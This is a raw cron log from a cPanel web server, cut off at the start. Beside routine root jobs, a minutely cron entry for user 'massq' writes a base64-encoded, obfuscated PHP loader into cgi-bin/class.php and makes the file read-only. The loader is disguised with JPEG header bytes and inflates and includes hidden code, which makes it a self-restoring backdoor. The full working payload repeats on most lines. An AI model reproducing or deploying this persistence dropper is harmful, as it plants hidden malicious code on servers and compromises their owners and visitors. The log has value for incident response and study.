lMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:09:01 server CROND[6985]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 18:09:01 server CROND[6986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:10:01 server CROND[7162]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:10:01 server CROND[7164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 18:10:01 server CROND[7165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:10:01 server CROND[7167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:11:01 server CROND[7289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:12:01 server CROND[7401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:12:01 server CROND[7402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 18:13:01 server CROND[7466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:14:01 server CROND[7527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:15:01 server CROND[7691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:15:01 server CROND[7692]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  7 18:15:01 server CROND[7695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:15:01 server CROND[7697]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 18:15:01 server CROND[7696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:16:01 server CROND[7837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:17:01 server CROND[7897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:18:01 server CROND[7946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:19:01 server CROND[8026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:20:01 server CROND[8175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:20:01 server CROND[8176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 18:20:01 server CROND[8177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:20:01 server CROND[8179]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 18:20:01 server CROND[8178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:21:01 server CROND[8305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
